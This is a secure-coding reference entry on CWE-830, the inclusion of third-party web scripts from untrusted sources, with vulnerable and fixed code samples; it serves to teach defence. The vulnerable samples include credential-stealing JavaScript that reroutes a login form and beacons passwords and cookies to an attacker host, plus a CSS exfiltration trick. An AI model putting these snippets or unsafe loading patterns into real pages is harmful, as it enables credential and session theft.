Inclusion of Web Functionality from an Untrusted Source
Description
Inclusion of Web Functionality from an Untrusted Source is a web security vulnerability where a product incorporates web functionality—such as JavaScript, CSS, or other client-side code—from an external domain, allowing that code to operate within the product's domain and security context. This is particularly dangerous because included JavaScript runs with full access to the page's DOM, cookies, local storage, and can make requests on behalf of the user. Even trusted sources pose risks if they are compromised or if the code is modified during transmission. This weakness commonly appears in "mashup" development where widgets using <script src> tags execute in the including page's origin.
Risk
Included third-party scripts operate with the same privileges as first-party code due to the Same-Origin Policy treating them as same-origin once loaded. Attackers who compromise or spoof the external source can steal user credentials, session tokens, and personal data. They can modify page content, redirect forms to attacker-controlled servers, or inject additional malicious scripts. Cross-Site Scripting (XSS) attacks become trivial when the attacker controls included code. The vulnerability is difficult to detect because the malicious behavior may only occur after the page loads, evading static analysis. Supply chain attacks increasingly target popular JavaScript libraries and CDNs.
Solution
Host critical scripts locally instead of loading from external CDNs. Use Subresource Integrity (SRI) attributes to verify script hashes when external loading is necessary. Implement Content Security Policy (CSP) headers to restrict which domains can serve executable content. Serve all external resources over HTTPS to prevent man-in-the-middle modifications. Review third-party scripts before inclusion and monitor for changes. Consider sandboxing third-party widgets in iframes with appropriate sandbox attributes. Use automated tools to detect compromised or vulnerable dependencies. Apply the principle of least privilege—only include functionality that is actually needed.
Common Consequences
| Impact | Details |
|---|---|
| Integrity, Confidentiality, Availability | Scope: Integrity, Confidentiality, Availability Execute Unauthorized Code or Commands - Attackers can inject malicious scripts that steal credentials, hijack sessions, modify page content, or redirect users to malicious sites. |
| Confidentiality | Scope: Confidentiality Read Application Data - Malicious scripts can access DOM, cookies, local storage, and form data, exfiltrating sensitive information. |
| Integrity | Scope: Integrity Modify Application Data - Injected code can alter form submissions, change page content, or manipulate application state. |
Example Code
Vulnerable Code
<!-- Vulnerable: Loading scripts from external domain without verification -->
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
<!-- Vulnerable: HTTP instead of HTTPS - MitM attack possible -->
<script src="http://analytics.example.com/tracker.js"></script>
<!-- Vulnerable: No integrity check - CDN could be compromised -->
<script src="https://cdn.untrusted.com/jquery.min.js"></script>
<!-- Vulnerable: Third-party widget with full DOM access -->
<script src="https://widgets.example.com/weatherwidget.js"></script>
</head>
<body>
<form id="loginForm" action="/login" method="POST">
<input type="text" name="username" id="username" />
<input type="password" name="password" id="password" />
<button type="submit">Login</button>
</form>
</body>
</html>
// Compromised external script could do this:
// Steal credentials by modifying form action
document.getElementById('loginForm').action = "https://attacker.com/steal.php";
// Or intercept form submission
document.getElementById('loginForm').addEventListener('submit', function(e) {
var credentials = {
username: document.getElementById('username').value,
password: document.getElementById('password').value,
cookies: document.cookie
};
// Send to attacker
navigator.sendBeacon('https://attacker.com/log', JSON.stringify(credentials));
});
<!-- Vulnerable: Dynamically loading script from URL parameter -->
<script>
// Vulnerable: Script URL from query parameter
const scriptUrl = new URLSearchParams(window.location.search).get('widget');
if (scriptUrl) {
const script = document.createElement('script');
script.src = scriptUrl; // Attacker controls this!
document.head.appendChild(script);
}
</script>
<!-- Vulnerable: CSS from external source can leak data -->
<link rel="stylesheet" href="https://untrusted.com/style.css">
<!-- Malicious CSS could include:
input[value^="a"] { background: url(https://attacker.com/leak?char=a); }
input[value^="b"] { background: url(https://attacker.com/leak?char=b); }
... exfiltrating form values character by character -->
// Vulnerable: Using eval with external content
async function vulnerableLoadWidget(widgetUrl) {
const response = await fetch(widgetUrl);
const code = await response.text();
// Vulnerable: Executing arbitrary fetched code
eval(code);
}
Fixed Code
<!-- Fixed: Secure script inclusion with SRI and CSP -->
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
<!-- Fixed: CSP header restricts script sources -->
<meta http-equiv="Content-Security-Policy"
content="script-src 'self' https://trusted-cdn.example.com;
style-src 'self' https://trusted-cdn.example.com;
default-src 'self'">
<!-- Fixed: HTTPS with Subresource Integrity -->
<script src="https://trusted-cdn.example.com/jquery-3.6.0.min.js"
integrity="sha384-vtXRMe3mGCbOeY7l30aIg8H9p3GdeSe4IFlP6G8JMa7o7lXvnz3GFKzPxzJdPfGK"
crossorigin="anonymous"></script>
<!-- Fixed: Self-hosted critical scripts -->
<script src="/static/js/analytics.js"></script>
</head>
<body>
<form id="loginForm" action="/login" method="POST">
<input type="text" name="username" id="username" />
<input type="password" name="password" id="password" />
<button type="submit">Login</button>
</form>
</body>
</html>
// Fixed: Only load from allowlisted sources with integrity check
const TRUSTED_SCRIPTS = {
'analytics': {
url: 'https://trusted-cdn.example.com/analytics.js',
integrity: 'sha384-abc123...'
},
'charts': {
url: 'https://trusted-cdn.example.com/charts.js',
integrity: 'sha384-def456...'
}
};
function fixedLoadScript(widgetName) {
const config = TRUSTED_SCRIPTS[widgetName];
if (!config) {
console.error('Unknown widget:', widgetName);
return;
}
const script = document.createElement('script');
script.src = config.url;
script.integrity = config.integrity;
script.crossOrigin = 'anonymous';
script.onerror = function() {
console.error('Failed to load script or integrity check failed');
};
document.head.appendChild(script);
}
<!-- Fixed: Sandbox third-party content in iframe -->
<iframe
src="https://widgets.example.com/weather"
sandbox="allow-scripts"
allow=""
style="border: none; width: 200px; height: 100px;">
</iframe>
<!-- sandbox restricts: no form submission, no top navigation, no popups -->
<!-- 'allow=""' denies all permissions (camera, mic, geolocation, etc.) -->
// Fixed: Server-side proxy for external content
// Instead of loading directly, proxy through your server
// Client-side
async function fixedLoadExternalData(dataType) {
// Load through your server which validates/sanitizes
const response = await fetch(`/api/proxy/widget/${dataType}`);
const sanitizedData = await response.json();
return sanitizedData;
}
// Server-side (Node.js/Express)
app.get('/api/proxy/widget/:type', async (req, res) => {
const allowedTypes = ['weather', 'stocks', 'news'];
const type = req.params.type;
if (!allowedTypes.includes(type)) {
return res.status(400).json({ error: 'Invalid widget type' });
}
const trustedUrls = {
weather: 'https://api.weather.com/data',
stocks: 'https://api.stocks.com/data',
news: 'https://api.news.com/data'
};
const response = await fetch(trustedUrls[type]);
const data = await response.json();
// Sanitize data before returning
const sanitized = sanitizeData(data);
res.json(sanitized);
});
# Server-side CSP header (Flask example)
from flask import Flask, Response
app = Flask(__name__)
@app.after_request
def add_security_headers(response):
# Fixed: Strict Content Security Policy
csp = (
"default-src 'self'; "
"script-src 'self' https://trusted-cdn.example.com; "
"style-src 'self' https://trusted-cdn.example.com; "
"img-src 'self' data: https:; "
"connect-src 'self' https://api.example.com; "
"frame-src 'none'; "
"object-src 'none'; "
"base-uri 'self'; "
"form-action 'self'"
)
response.headers['Content-Security-Policy'] = csp
# Additional security headers
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
return response
<!-- Fixed: Use nonce-based CSP for inline scripts -->
<!-- Server generates unique nonce per request -->
<meta http-equiv="Content-Security-Policy"
content="script-src 'nonce-abc123random'">
<script nonce="abc123random">
// This inline script is allowed because nonce matches
console.log('Authorized inline script');
</script>
<!-- Attacker-injected scripts won't have valid nonce -->
Related CWEs
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere (parent)
- CWE-79: Improper Neutralization of Input During Web Page Generation (related - XSS)
- CWE-494: Download of Code Without Integrity Check (related)
References
- MITRE Corporation. "CWE-830: Inclusion of Web Functionality from an Untrusted Source." https://cwe.mitre.org/data/definitions/830.html
- OWASP. "Third Party JavaScript Management Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html
- MDN Web Docs. "Content Security Policy (CSP)." https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP